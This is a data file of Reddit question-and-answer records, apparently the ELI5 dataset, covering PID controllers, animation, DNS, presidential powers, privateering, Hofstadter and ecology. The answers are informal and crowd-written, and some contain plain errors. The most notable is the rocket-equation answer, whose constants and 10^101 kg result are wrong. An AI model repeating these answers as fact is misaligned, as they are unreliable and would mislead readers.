can make your system more energetic to the point of instability if you're not careful.\n\nDerivative is multiplied by the derivative of your error (i.e. how your error is changing). This adjust how quickly your system 'settles' into its long term state, but it too can cause stability issues.  This is not always used.\n\nThese three terms are then summed together and used to tell your system what to do.  Setting your gains (i.e. knobs) can be done manually or can be calculated, but neither is a trivial process and should only be done with more in depth knowledge on what behaviors the gains cause.\n\nHope this answers what you were looking for.", "As others have mentioned, P=proportional, I=integral, and D=derivative.   These \"gains\" are multiplied by an \"error\" to determine how much \"correction\" to apply to reduce the \"error\" to an acceptably small value.\n\n\"Error\" is the difference between a desired setpoint (50C for a tub of water, for example) and the actual measured temperature (31C for example).   The \"error\" is 19C, which is multiplied by the 3 PID gains; the resulting value is used to drive a heater to warm the water up.  Generally, the larger the error, the more heat is demanded.\n\nI offer this analogy: when you are driving a car down the road, you use some visual method to determine if you are in the correct position on the road.  Doesn't really matter what reference you use; I was taught to sight across the center front of the hood (the ornament, if you have one); if that sight line is on the shoulder, I was too far right (for math purposes, let's call this negative).  If the line hit the pavement, I'm too far left (call this positive).\n\nUsing this error, up to 3 terms can be can be added together to make a correction (turning the steering wheel to get back to the proper lane position).  Let's look at them in order of importance:\n\n**Proportional** - the amount of correction (steering wheel change) is proportional to the amount of error; the more you are off the correct line, the more you will turn the wheel.   This should be intuitive... if you're just a little bit to the right, you steer a little bit to the left.  Your \"correction\" is \"proportional\" to the \"error\".\n\nMathematically, if \"to the right\" is negative and \"to the left\" is \"positive\", then the proportional term is negative (to result in a positive (\"turn to the left\") correction.  Proportional gain is the largest contributor to the correction.\n\n**Derivative** - the direction you are actually going.  You might be left or right of the proper lane position, but should be pointing straight down the road.  If you are pointing away from the proper lane position (your heading more off the road), you would turn harder.  Once you are pointing back towards the proper lane position, you will reduce your steering (so as not to overshoot.... you're getting to where you want to go, so ease off a bit).\n\nMathematically, your direction is the slope of the line of your position-in-the-lane vs. time graph. If I remember correctly, 2nd derivative of position vs. time.\n\nDerivative gain has a \"damping\" effect; it reduces the correction when the error appears to be getting smaller (your're heading back to where you want to be).\n\n**Integral** - for whatever reason, you notice you are always slightly off to one side of the road, even with steering dead center on a straight road.  So, over time, you gradually apply some counter steering keep in the proper spot.\n\nThe integral is the \"area under the curve\" of your position-in-the-lane vs. time graph.  This term might be small, but it will build up over time to eventually make a correction.\n\nWhy use PID?  More precise control of the variable under control, and fast response to changes.\n\nNeat thing: PID is used in a wide range of applications.  For instance, position control to sub-micron precision at 4Khz servo amplifiers.  Or temperature control of massive quantities of fluid that take days to change temperature.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7cnykg", "title": "in cartoons, certain clothing patterns such as checkered or plaid, it seems like it's a static pattern that the characters move around on. why is this, and how is it done?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7cnykg/eli5in_cartoons_certain_clothing_patterns_such_as/", "answers": {"a_id": ["dprb7h0", "dprbf9k"], "score": [132, 23], "text": ["On a technical level, their shirt is actually transparent, and there is a layer with the picture of the pattern behind the layer the character is drawn on. The character and their shirt moves, but the background layer does not, resulting in what you've described.\n\nThe reason for doing this is that its a cheaper/faster/easier way to animate clothing with those types of patterns. The alternative is redrawing the whole thing each time the character moves slightly.", "In whatever animation software they use, the shirt layer is transparent and above a motionless layer of plaid underneath it. It's done because it's cheap, lazy and easy compared to actually animating a plaid textured shirt."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "l6cdh", "title": "please, simplify solar energy efficiency. i.e., what does \"we reached 80% efficiency\" mean? thank you.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/l6cdh/eli5_please_simplify_solar_energy_efficiency_ie/", "answers": {"a_id": ["c2q4rnk", "c2q4rnk"], "score": [11, 11], "text": ["Energy is never created or lost, only converted from one form to another. But not all of those forms are useful. When I take a gallon of gasoline and run it in a car engine, some of the energy in the gasoline was used to make the car move, but some of it escapes as heat, which isn't usable.\n\nEnergy efficiency is the ratio of theoretically useful energy to actually useful energy, so 80% (which is really high) means for every 100 kilojoules of solar energy that shine on the panel, 80 kilojoules are usable in some other form.", "Energy is never created or lost, only converted from one form to another. But not all of those forms are useful. When I take a gallon of gasoline and run it in a car engine, some of the energy in the gasoline was used to make the car move, but some of it escapes as heat, which isn't usable.\n\nEnergy efficiency is the ratio of theoretically useful energy to actually useful energy, so 80% (which is really high) means for every 100 kilojoules of solar energy that shine on the panel, 80 kilojoules are usable in some other form."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4cjbi1", "title": "can you starve yourself to death by running marathons?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4cjbi1/eli5_can_you_starve_yourself_to_death_by_running/", "answers": {"a_id": ["d1ipkx1", "d1ipnux", "d1ipqqd", "d1iprle", "d1iq1ia", "d1iqc40", "d1iyq7l"], "score": [35, 7, 21, 5, 4, 2, 2], "text": ["You will be unable to run more marathons due to exhaustion long before you actually starve to death.", "You would burn out and probably pass out if you did this.  Most likely you would not die if you received medical attention quickly enough.  So this is assuming you're not running these marathons in some out of the way rural area.\n\nMarathon runners (and other athletes, or anyone who does strenuous work) will eat more calories than normal people for this reason.", "Athletes do not abide by the 2000 calorie rule. Pro/experienced Athletes eat far more than 3000 calories a day. \nMany marathon runners will eat some type of liquid energy shake mid race.\n\nIf you are really tapping into calorie deficits you would get a brief hunger filled boost followed by you collapsing and slowly dying of hunger pains once your body was completely tapped as you lie on the ground. \n\nPersonally ate more than 4000 calories per day when swimming. I'm a fat ass now, considering how easy it still is to eat that amount when I don't really work out.", "You'd stop running before you starved. The human body can go on for about [three weeks](_URL_0_) without food, given proper hydration. One day, you would collapse in the middle of your marathon, physically incapable of standing, much less running. You'd pass out. Upon waking up, you'd still have trouble getting up. From there, you'd wallow on the ground for a week or so before lapsing into a coma and departing this world.", "If you stuck to 2000 calories a day, it is unlikely you would be able to run even one marathon.  You'd simply become exhausted and would have to stop.\n\nBut your premise isn't entirely incorrect.  Let's say instead of running marathons, you were foraging for food.  If it cost you 2000 calories to forage, and you only found 1500 calories worth of food, you would eventually starve to death.", "In a manner yes.\n\nYou would run until your muscles couldn't go anymore.\n\nIf you somehow managed to do this every day you would burn through your fat and muscle and before long couldn't run as far until your body began to shut down from exhaustion.", "That 2000 calories is likely a dailly recommended calories for an inactive male.\n\nGenerally bad advice across the board and if you're completely sedentary you'll likely need less calories than that. Moderate exercise? More. There is no average person.\n\nIf you take part in any endurance sport, or put in a lot of exercise you rapidly discover that nutrition is an important component of that.\n\nPart of that is calculating an accurate BMR (base metabolic rate - how much energy you'd actually need on a completely sedentary day) and then tracking your energy useage and working out how many calories you need.\n\nThat prevents weight fluctuation and helps you ensure that you eat enough when exercising.\n\nI'm not a fan of running, but a very keen cyclist. Today I'm working late, I'll have burned no more than my BMR of about 1850 calories. \nSaturday however I have a 300km ride, during which I'll burn about 5000 calories, on top of my BMR that gives me about 6850 calories I'll need during the day just to break even. \n\nThere will be a big difference in the fuelling requirements. Constant eating every 20minutes to half hour on the bike, meal breaks etc.\n\nrunning costs approximately 100 calories per mile. More exact figures can be had but it's a rule of thumb.\n\nSo to rewind to the beginning, you'll likely not make it through a single marathon without extra nutrition. You'll hit what runners and cyclists call a bonk.\n\nThis is where your body has completely run out of available fuel and is shifting to burning fat directly for energy - it's really not fun. Like being drunk and horribly hungover at the same time and moving through that is horrific.\n\n(I know I've simplified a couple of those, it's intentional)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.businessinsider.com/how-many-days-can-you-survive-without-water-2014-5"], [], [], []]}
{"q_id": "3arbt4", "title": "why do we have top-level domains at all? what's wrong with _url_1_ or _url_0_?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3arbt4/eli5_why_do_we_have_toplevel_domains_at_all_whats/", "answers": {"a_id": ["csf896p", "csf9qsy", "csfahng"], "score": [3, 2, 5], "text": ["nothing.  it's just how the internet was designed.  \n\n.com was to be commercial.  .org was non profit org.  .net was was companies related to networking infrastructure and isps.  \n\neventually we ran out of domain names so others were created like .tv .biz .whatever.  \n", "It's to be able to distribute the load across servers on the Internet, and to let different organizations manage their own DNS entries. When you ask for _URL_0_ the server that handles .com requests passes you off to the server that handles all requests for google servers, which then hands you off to the www google server. Your computer remembers that for a while so it can go directly to the www server without having to ask each time. It's obviously more complicated than that, but this is ELI5.", "So who gets _URL_1_?\n\nTLDs aren't _that_ special, except that they're controlled by ICANN, instead of another registrar. \n\nIn practice, when you look up a site like _URL_0_, what really happens is:\n\n* Connect to one of the 13 root nameservers.\n* Look up the .com TLD nameservers from the root nameservers.  \n* Ask the .com nameservers if it knows the address  for _URL_2_ - which it doesn't.  But it knows what nameserver to talk to to get it.\n* Ask THAT nameserver if it knows the address for _URL_0_, which it does.  It returns the information to you, and you connect. \n\n(Well, except that things are heavily cached at multiple layers, you're probably going to use your ISP's caching nameserver, etc.)\n\nIf we all registered TLDs, it would mean that instead of being able to spread the load amongst regional nameservers, _everything_ would be handled via one entity running the root nameservers.   Note that there are also some silly limitations on the nameservers - notably there can only theoeretically be 14 root namservers because of the structure of a DNS packet (we currently use 13).   \nThose 13 nameservers in turn serve nameserver information for ~300 TLDs.\n\nAdditionally, this means that, e.g. country TLDs can be administered per country.   \n\ntl;dr - it spreads the load, both in terms of traffic and actual administration.  Probably not technically necessary, but likely made life easier.  "]}, "title_urls": ["https://google/", "https://reddit/"], "selftext_urls": [], "answers_urls": [[], ["www.google.com"], ["www.somebrandnewsitenooneknowsabout.com", "http://tires/", "somebrandnewsitenooneknowsabout.com"]]}
{"q_id": "6o44x0", "title": "how do all those many different anti-virus companies, even fairly obscure ones, have such huge but mostly similar databases of virus footprints? do they get them from some common source?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6o44x0/eli5_how_do_all_those_many_different_antivirus/", "answers": {"a_id": ["dkegayw", "dkewzy3"], "score": [2, 2], "text": ["Well yes, if by common source you mean the bestiary of malware present in the world. Why do all these different map making companies have such huge and mostly similar maps? because they're documenting the same world...", "Unfortunately I have never been able to remember the correct name, but there is an agreement to share virus information between \"legitimate\" anti malware companies. The exact definition of what defines a legitimate company, and how quickly to share the files has been debated a lot so I used to just refer to it as the quango whilst I was working for one of them.\n\nBut also it is really easy to find new malware, just hang out on file sharing sites and look for the latest movie or tv show, or \"cracked\" software, and there is a good chance that the majority of the results you will find are actually just malware."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "yqv16", "title": "what safeguards prevent a corrupt president from taking control of the united states?", "selftext": "I was talking to a friend recently, who claimed that, any day he wanted, the President of the USA could enact martial law and turn the USA into a dictatorship. I know this is extremely far-fetched, but I can't find what actual safeguards exist to prevent this type of scenario.\n\nExactly how much power does the President have, and how difficult would it be for him to impose an authoritarian government? Alternately, how difficult would it be for the President and a group of corrupt officials, working together, to impose such a government? Is this, in any way, a realistic fear?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yqv16/eli5_what_safeguards_prevent_a_corrupt_president/", "answers": {"a_id": ["c5xzxap", "c5y0d0l", "c5y1jdq", "c5y25hc", "c5y2bqa", "c5y2m5f", "c5y2tcf", "c5y5l42"], "score": [22, 11, 3, 10, 3, 2, 9, 3], "text": ["There is a common belief that the President holds a LOT of power.  Everyone wants to complain about how much trouble we are going to be in if \"insert name here\" is elected President, or even put all the blame on them when they are in office and out.  This simply isn't true.\n\nThe President does have power, some of which he can enact without immediate question such as declaring war.  However, the other branches of the government can question it afterwards and even overturn his rulings.  \n\nI believe the President can enact certain policies that would temporarily give him extra power but never to such an extreme extent.\n\nToo many people are fearing one man.  Politics are all about swaying people's perception of our leaders to get people to go along with decisions we won't normally want.  Republicans are well known for this, or in many people not known but should be.\n\nI find it even more disturbing how when President G.W. Bush was in office if anyone even spoke a negative word about him people would say \"You are not patriotic if you can't support your President!\".  This prevented many people from bashing what is arguably one of our worst Presidents.\n\nTurn to today and you hear people saying \"Obama is worse than Hitler!\", yet no one even bats an eye.  Maybe people should be more afraid of what is turning into a witch hunt to oust Obama and put in a Party which is willing to twist any situation to give \"them\" and not us an advantage.\n\nSorry for turning it into a political message, just frustrated with politics today.\n\nTL;DR: There are 3 branches of government, the president is only one of them.  They check and balance each other.  You only have to worry about what happens when all 3 decide to do horrible things.\n\nEDIT:  This has sparked tons of comments so just to be clear.  The President can not declare war but he can however move the military into a foreign country and take military action.  This is not the same as declaring war but is still a very hostile action without permission from congress.", "Most things a president wants to do have to go through the senate and house of representatives, who vote on what the president askes to do. If the president doesn't win the vote then it doesn't happen.\n\nHence why Obama wasn't able to do a lot of the things he wanted to do around healthcare for example.", "Our political system contains what are known as \"checks and balances,\" to keep any one of the three main branches of our government from having too much power.\n\nThe three branches are the \"executive\" (the President); the \"legislative\" (congress, including both the house and senate); and the \"judiciary\" (the Supreme Court).\n\nFor an example of how this might work, let's say congress passes a law. The President might then \"veto\" the law (he can say, \"This law sucks!\" and stop it cold). Or the Supreme Court might say, \"This law is against the United States Constitution!\", and again the law would be blocked.\n\nIf a President decided to take all the power for himself, the Supreme Court would probably rule against it pretty quickly. Or congress could \"impeach\" him, which could even involve having him removed from office.\n\nSometimes, some Presidents have tried to do some stuff that was pretty shady to get more power. President Nixon had people burglarize some Democrat's offices to see what they were up to, and everyone thought it was blatantly illegal, and he had to resign!", "Nobody's really answering his main question: The President is commander in chief of the armed forces, meaning he has direct control of the military.  If he decides to suddenly deploy troops throughout the US and declare martial law, what's the check and balance to counter that?\n\nI know with the War Powers Act he can deploy troops for 90 days without approval from congress, and at 90 days they can vote to cut funding.  But not sure the exact details of how this works, or if this would apply since it's at home and not a formal war.", "Checks and balances have been plenty covered. I offer a few additional points.\n\nThe perception that one President affects a regime is specious, and it's the result of Americans being misinformed about their own political system. If you talk to the average American, you would walk away with the impression that the President has monarchist, almost dictatorial powers, especially coming from Americans of the conservative persuasion. Now I know there are conservatives who don't think that way, but there is a difference between a conservative who is active and educated on politics, and the conservative who makes up the mass of the voting public. The latter is much less educated and informed on how the government actually works. Compounding the problem is it's not just these conservatives who are misinformed. It's an educational problem that reaches across the aisle, for you can easily find liberals who believe the same, wrong things about government (That the President can just make things happen and bend Congress to his will, for example). \n\nAmericans are conditioned to wanting fast, easy solutions and that is simply not possible for most things within a four year term. Because Obama has struggled against a political party - who has literally said their primary goal is to see him lose this election - he has had to work very hard, and play things to the right to get what he wants. The fact Obama saw the PPACA pass in his first term isn't just great, it's a stroke of brilliance. The PPACA is made up of many, leftover Republican ideas from the healthcare debate in the 1990s. It was passed under the notion that it was a Democratic compromise with the Republican Party. It is tuned to be just good enough to get Americans covered, but just bad enough so in time, Americans will throw their support behind a single-payer system to replace it. People will actually look back on it as a great example of getting a compromise from an entrenched, emphatic opposition. \n\nFor all the rhetoric on the right about \"Obamacare bankrupting/cutting/taking over healthcare all at the same time,\" remember it is rhetoric, and it plays on the misguided belief that a President can somehow override Congress and dictate his will to the government. He can't and his power is checked by the other two branches.", "Martial law can only be instituted in very specific circumstances. It is not a realistic fear because the vast majority of our armed forces would never go along with such a plan anyway. There is just no way a President could say \"Okay, now I'm totally in charge here\" without backlash from vast swaths of people from every walk of life who would say 'no.' This country is just too big to do that. Sure, he might be able to take Delaware, but do you think Texas would stand for it?", "The biggest safeguard is the Second Amendment. \n\nCan the president declare martial law? Yes. This has been done several times in US history, sometimes not even by the president. (Gen. Andrew Jackson declared it in New Orleans during the War of 1812.) but nobody's ever done it for the whole country, only for small sections --- the legal basis for declaring martial law is that the local government has fallen apart and can't maintain law and order, and so the military has to do it instead. In theory, a corrupt president could declare martial law without such a breakdown in law and order (or when the so-called breakdown was really people protesting the president's rule). \n\nIf the president does something illegal, like trying to declare martial law without a breakdown in law and order, then Congress can impeach him and remove him from power. So that's one safeguard against corruption. \n\nRealistically, however, President Evil is probably not going to obey Congress' demands that he show up and be put on trial for impeachment. So where the rubber really meets the road is what the armed forces decide to do: do they obey the president or Congress? \n\nIf President Evil is smart, then he'll have made sure that he and the Army are BFFs (helps if he's a former general) and that there's a large faction of people, perhaps even a whole political party, that will tend to side with him instead of Congress. So if Congress calls on him to be impeached, he can just not obey them, have congress arrested/shut down, maybe call for new elections to be held or a new Constitution to be written, whatever seems like the most useful smokescreen. (A version on this fight is literally going on in Egypt right now). \n\nIf President Evil is not 100% successful at getting the backing of the armed forces, then a civil war would probably start pretty much immediately, with Congress declare war on him and his forces and trying to put down the rebellion (pretty close to what happened during the actual American Civil War). \n\nBut if President Evil is in fact really good at being evil, and is able to declare martial law, disband Cobgress, and enforce his edicts with almost 100% support from the existing armed forces, the last safeguard is the Second Amendment, which ensures that lots of ordinary people own guns and could immediately form a guerrilla resistance to President Evil  &  Co. \n", "One thing your friend might also be thinking of are [executive order](_URL_1_)s.\n\nAn executive order is an order/decree/directive issued by the head of the executive branch and has **the full force of law**.  This is one way a president can act without the *checks and balances* of Congressional approval.\n\nThey're being used with increasing frequency: Obama is on-track to issue twice as many as G.W. Bush, who issued ***significantly*** more than Clinton.  [As you can see](_URL_2_), executive orders have accomplished some fairly substantial tasks in U.S. history:\n\n* Creating [Japanese internment camps](_URL_4_)\n* Affect foreign policy by [banning trade with certain countries](_URL_0_)\n* Empowering the federal reserve by [prohibiting gold collection](_URL_3_)\n* Creating [FEMA](_URL_5_), *although some might argue its significance*\n* [Restricting access to presidential records](_URL_6_)\n* [Freezing foreign assets](_URL_7_)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://en.wikisource.org/wiki/Executive_Order_12959", "https://en.wikipedia.org/wiki/Executive_order", "https://en.wikipedia.org/wiki/List_of_United_States_federal_executive_orders", "https://en.wikipedia.org/wiki/Executive_Order_6102", "https://en.wikipedia.org/wiki/Executive_Order_9066", "https://en.wikipedia.org/wiki/Executive_Order_12148", "https://en.wikipedia.org/wiki/Executive_Order_12667", "https://en.wikipedia.org/wiki/Executive_Order_12170"]]}
{"q_id": "245m8t", "title": "When did hard boiled/pickled eggs in pubs/bars become a thing?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/245m8t/when_did_hard_boiledpickled_eggs_in_pubsbars/", "answers": {"a_id": ["ch3z9kn", "ch406su"], "score": [2, 4], "text": ["I've heard of that, but never seen it here in western Canada. In fact, the only pickeld eggs I've ever seen were Asian. \n\nWhere do you live that this strange practice occurs?", "For the confused, pickled eggs are frequently found in pubs and fish  &  chip shops in the UK.\n\n_URL_0_\n\nNotes that an Inn in Clerkenwell, London was called The Pickled Egg at some point before 1700:\n > A few of these inns\u2014Sir John Oldcastle's, the Cock and the Pickled Egg in what is now Crawford Passage\u2014predated the building development under Baynes and Warner.\n\n(From the same page, Warner acquired the land in 1703, and died in 1721. The pub closed in 1874.)\n\nCrawford Passage was known as Pickled Egg Walk, apparently after the name of the inn.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.british-history.ac.uk/report.aspx?compid=119436#s3"]]}
{"q_id": "9t06xy", "title": "The US Constitution allows Congress to grant Letters of Marque, have that ever been done, what was the context?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9t06xy/the_us_constitution_allows_congress_to_grant/", "answers": {"a_id": ["e8t0su0", "e8t2tmt"], "score": [342, 31], "text": ["Yes indeed the US has commissioned Privateers by Letters of Marque on two main occasions.\n\nThe first was the Quasi War with France in the Caribbean in 1798-1800. However the relatively restricted in time, space, and scale of that conflict meant that only a few score really got into the action.\n\nThe far larger case was the War of 1812 when several hundred vessels of all sizes were commissioned. They sailed from every port from Maine to Georgia, and were instrumental in capturing the majority of the 1,500 or so British vessels taken during the war. And though by 1814 the British bloackade of the American Coast had become sufficiently strong to greatly reduce their numbers and freedom of movement, Privateers never stopped putting to sea completley and still made their mark. By taking prizes they could also impact the British war effort, forcing the diversion of ships for convoy duty and escort, driving up insurance rates in Britain, and diverting other resources. For instance one of the main reasons that Baltimore became the second target of the joint Army-Navy force under Ross, Cochrane, and Cockburn after they burned Washington, was the large  number of Privateers based out of Baltimore. \n\nIn the end somewhere upwards of 500 vessels were used as Privateers, each with a commission from President Madison after Congress delegated to him the authority to issue them early in the conflict. Most were very much on the smaller side though, between 100 and 300 tons displacement and no more than 12-14 guns with lighter armed and smaller ships aplenty. Meanwhile regular naval ships were generally much bigger, the modest sloop USS Wasp was 450 tons for instance and the big 44 gun super frigates Constitution, President, and United States all weighed in around 1,500!\n\nSeveral could be rather bold and certainly many became quite happy with their profits derived from captured ships and good. Thomas Boyle, even notably proclaimed the entirety of the British Isles to be under blockade in a tongue in cheek response to the British blockade of the US which took quite some time to go from being in name only to actually effective. \n\nBut with the end of the war that marked the real end of American Privateers. Lack of any vastly superior maritime foe to defeat was part of it, and by the last decade of the 19th century the practice itself had fallen out of favor internationally while the US Navy was growing into a force that was large enough to both project power abroad and protect the sea lanes of communication. \n\nIt should be noted many were issued by the Confederate Government though their validity was of course challenged by the US and they experienced uneven recognition in European ports and courts. Something that was true of the Confederate Naval war effort in general. ", "[](/flufflepirate)The US issued Letters of Marque during the Quasi-War and the War of 1812. The Confederacy issued some during the Civil War.\n\nThe Quasi-War was an undeclared naval conflict between France and the US from 1798 to 1800. The US signed an alliance with France during the revolutionary war, including a mutual defense pact. However, the French monarchy was overthrown, and the US didn't want to be dragged into the subsequent British/French war. The US signed the [Jay Treaty](_URL_7_) with Britain, affirming neutrality with the conflict. France didn't particularly like this state of affairs, and they sent privateers to prey on American shipping heading to Britain. The US tried to build up it's navy with the [Naval Act of 1794](_URL_2_), but the US was far behind their French rivals. The US returned the favor by commissioning [1,000 privateers to attack French ships](_URL_5_).\n\nDuring the War of 1812, the US navy was still pretty pathetic. President James Madison issued Letters of Marques during the war to attack British shipping to help supplement the US's meager fleet. Here is the letter issued to Captain Million: _URL_4_\n\nIn 1856, most of the great powers of Europe signed the [Treaty of Paris](_URL_0_), which banned Letters of Marque. The US didn't that document. However, during the Civil War, Lincoln wanted to keep the European powers out of the war, and refused to issue letters of Marque to comply with the Treaty of Paris. The Confederacy didn't oblige the treaty and [issued Letters of Marque to attack American vessels](_URL_1_).\n\nSince the Civil War, the US hasn't issued Letters of Marque. There is a legend that the Goodyear blimp had one during WW2, although [that story been debunked](_URL_3_). There was a recent small attempt to bring the Letters of Marque back. In 2007, Ron Paul introduced a [bill into Congress that would allow the President to issue letters of Marque to take the property of Al Qaeda.](_URL_6_) However, so far attempts of revival have not stuck."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://content.ecf.org.il/files/M00934_TreatyOfParis1856English.pdf", "https://acwm.org/blog/origins-confederate-privateer", "https://www.mountvernon.org/education/primary-sources-2/article/the-naval-act-of-1794/", "https://www.law.gmu.edu/pubs/papers/ls15_41", "https://constitution.org/mil/lmr/1812amer1.htm", "https://www.americanhistorycentral.com/entries/quasi-war/", "https://www.congress.gov/bill/110th-congress/house-bill/3216", "https://history.state.gov/milestones/1784-1800/jay-treaty"]]}
{"q_id": "j32nr", "title": "li5: what are the main ideas discussed in hofstadter's 'g\u00f6del, escher, bach'?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j32nr/li5_what_are_the_main_ideas_discussed_in/", "answers": {"a_id": ["c29h357", "c28qq9x", "c29h357"], "score": [2, 2, 2], "text": ["Hofstadter ultimately poses the question how meaning is created and what intelligence is and where it comes from- how something has a \"self\" even though it is made up of things that dont (i.e. Humans who are made out of atoms, proteins, blah blah). He goes into describing formal systems and specifically how one can find meaning in meaningless symbols. He is looking for recurring patterns and sMmetry. His use of bach's music and escher's art is more often than not just a analogy to mediate ideas from math, physics, biology, neuroscience and linguistics. All in all it is a compelling read. By no means easy. I'm doing my first reread right now", "I haven't finished reading it yet, so I can't quite give you the whole thing, but one central theme is that of the \"strange loop,\" where by continuing straight in one direction you wind up back where you started. Like the endless staircase drawn by Escher. Bach created a musical strange loop, which is perceived constantly to rise, but stay in one place, and the Godel incompleteness theorem dealt with strange loops in number theory and the difficulties they create. Somehow the Godel incompleteness theorem is tied into the nature of intelligence and consciousness, but I haven't gotten there yet. ", "Hofstadter ultimately poses the question how meaning is created and what intelligence is and where it comes from- how something has a \"self\" even though it is made up of things that dont (i.e. Humans who are made out of atoms, proteins, blah blah). He goes into describing formal systems and specifically how one can find meaning in meaningless symbols. He is looking for recurring patterns and sMmetry. His use of bach's music and escher's art is more often than not just a analogy to mediate ideas from math, physics, biology, neuroscience and linguistics. All in all it is a compelling read. By no means easy. I'm doing my first reread right now"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ymasq", "title": "How big of a rocket would we have to attach to earth if we wanted to move it farther away from the sun?", "selftext": "Yes I know it'd be species suicide, and yes I know that a rocket big enough would be impossible to build...I realize all the reasons why it just couldn't happen.\n\nBut math wise, exactly how big of a rocket booster would we need if we wanted to move the earth to where Mars is? How much fuel would we need?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ymasq/how_big_of_a_rocket_would_we_have_to_attach_to/", "answers": {"a_id": ["c5wv49n"], "score": [3], "text": ["This is a fun one.\n\nThe rocket equation is delta-v = Isp \u00d7 g'  \u00d7 ln( m_before / m_after).\n\nHere, delta-v is the change in velocity we need, Isp is the specific impulse of our rocket, g' is the relevant gravitation constant, m_before is the mass of the earth and all the fuel, and m_after will be the mass of Earth afterwards.\n\nWe'll use Saturn Vs, whose latter stages had Isp=4130 N\u00d7s\u00d7kg^-1 .  The relevant gravitational constant is the strength of 5.9 \u00d7 10^-3 m\u00d7s^-2 .  m_after, the mass of Earth, is about 6\u00d710^24 kg.  delta-v for Mars transfer from Earth to Mars is 4.3 km\u00d7s^-1 .  This will overestimate a bit since we don't have to leave Earth orbit, but oh well.\n\nSo!  4300 = 4130 \u00d7 5.9 \u00d7 10^-3 \u00d7 ln ( m_before / (6\u00d710^24 ) )\n\n[Solving](_URL_0_), we get that we need 2.6\u00d710^101 kg of fuel to get Earth to Mars orbit - and that's just to put us into an elliptical orbit.  To circularize, another burn would be required!\n\n**Put another way, the amount of fuel that we would need would weigh 43 thousand million million million million million million million million million million million million times more than the Earth itself.**\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wolframalpha.com/input/?i=4300%3D4130*5.9*10%5E%28-3%29*ln%28m%2F%286*10%5E24%29%29"]]}
{"q_id": "94dkhx", "title": "Are terrastrial and marine food chains disconnected? If they are connected, how and to what degree?", "selftext": "Does plankton end up in a cow living on a farm on a macroscopic scale? How about a terrastrial apex predator living hundreds, if not thousands of miles away from the closesr ocean? Is bottom of their food chain in the ocean? Is there research about this topic?\n\nI can not imagine them being disconnected, and I would really like to know how e.g. nutrients and vitamins end up from the ocean to our food plate (in form of terrastrial plants or meat).", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/94dkhx/are_terrastrial_and_marine_food_chains/", "answers": {"a_id": ["e3kpxco"], "score": [14], "text": ["They are definitely connected in many areas, though not in the way you think.\n\nThe annual migration of Salmon up rivers to spawn plays a significant role in the forest ecosystems, moving nutrients and minerals into areas that would not otherwise have it. Given that some salmon swim well over a thousand km up the rivers, this effect goes deep inland.\n\nThis effect is mostly occurs through the actions of bears and wolves, the apex predators. They catch the salmon, haul them to shore, eat part of them, and the rest of the carcass rots away. Similarly, after they spawn and die, the carcasses of the dead fish wash ashore and have an effect.\n\nGoing the other way also has a dramatic interconnection as well. Nutrients and other materials wash into the sea, which feeds plankton and algae, which is the bottom of the food chain. The salmon (and other fish) eat this, thus keeping the cycle going. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "52qhha", "title": "When and why did the Edomites convert to Judaism? Did they stay Jewish?", "selftext": "I mean Jewish in a religious sense, rather than an ethnic sense, if that matters (maybe it doesn't matter because they inter-married, I don't know, I don't know a lot about them).", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/52qhha/when_and_why_did_the_edomites_convert_to_judaism/", "answers": {"a_id": ["d7nawoj"], "score": [3], "text": ["In around 125 BCE, the Jewish king John Hyrcanus captured the territory of Idumea, historically connected to the Edomites, and forcibly converted many of the people who lived there. It's historically debated whether they are the actual descendants of the Edomites of the Hebrew bible. They were largely assimilated into the Jewish nation at that point, so some of them remained Jewish, while others eventually embraced Greco-Roman religion or Christianity."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
